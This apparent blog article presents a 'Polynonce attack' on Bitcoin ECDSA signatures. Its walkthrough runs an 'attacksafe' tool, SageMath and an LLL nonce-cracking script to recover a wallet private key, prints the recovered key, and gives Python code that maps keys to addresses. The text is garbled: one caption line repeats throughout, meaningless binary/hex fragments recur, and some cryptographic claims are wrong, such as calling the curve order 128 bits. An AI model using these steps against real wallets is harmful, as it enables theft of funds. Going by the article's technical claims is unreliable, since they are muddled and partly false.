Polynonce Attack

In this article, we will again touch on the topic: “Bitcoin’s Critical Vulnerability” and use the brand new attack of 2023 “POLYNONCE ATTACK” on all three examples . The very first mention of this attack is described in an article from “Kudelski Security” .

POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key
POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key
POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key

As a practical basis, we will take materials from our earlier article “ Speed ​​up secp256k1 with endomorphism” where the values ​​​​on the secp256k1 curve from Hal Finney   LAMBDA and BETA hide the depth of uncertainty of Bitcoin elliptic curves.

We can reveal a lotBinary number (4 digits): "1111" // Hex number: "F" //

We also know perfectly well the order of the secp256k1 curve which consists of 128 bits Binary number (4 digits): “1111” // Hex number: “F” //

n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141

We see that the polynomial as a unit in the binary code of an arbitrarily high degree of 128 bits modulo

POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key

Speed ​​up secp256k1 with endomorphism

Given this fact, the initial bit of the Bitcoin private key will be Binary number (4 digits): “1111” // Hex number: “F” //

For a theoretical basis, we will take materials:

POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key

Launch  -tool polynonce_attack using software “ATTACKSAFE SOFTWARE”

!./attacksafe -tool polynonce_attack -open RawTX.txt -save SignatureRSZ.csv

POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key

We launched this attack from  -tool polynonce_attack and the result was saved to a file SignatureRSZ.csv

Now to see the successful result, open the file SignatureRSZ.csv

POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key

Let’s run  SageMath the command:

!./sage -sh

POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key

To calculate the private key to the Bitcoin Wallet, run the script  crack_weak_ECDSA_nonces_with_LLL.py  specifying the parameters 128 bits 4 sign

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 128 4 > PrivateKey.txt
cat PrivateKey.txt

POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key

Let’s open the file: PrivateKey.txt

We received the private key to the Bitcoin Wallet in  HEX the format

POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key
PrivKey = 0xfbc50a7158b3d9fd7fd58fe0874f20c10c650975dc118163debf442a44203fdf

Check POLYNONCE for each ECDSA signature

To do this, use the code from GITHUB

Result:

POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key

We received four identical initial128 bits

Thanks to the value on the secp256k1 curve from  Hal Finney   LAMBDA and BETA revealed to us the same initial bits 128 bits, since the initial bits of the private key to the Bitcoin Wallet begin withBinary number (4 digits): "1111" // Hex number: "F" //

Let’s check the HEX of the private key:

Let’s run the code:

from bitcoin import *

with open("PrivateKey.txt","r") as f:
    content = f.readlines()

content = [x.strip() for x in content]
f.close()


outfile = open("PrivateKeyAddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")
 
outfile.close()

POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key

Let’s open the file: PrivateKeyAddr.txt

POLYNONCE ATTACK use BITCOIN signatures as a polynomial to an arbitrarily high power of 128 bits to obtain a private key

Let’s open  bitaddress  and check:
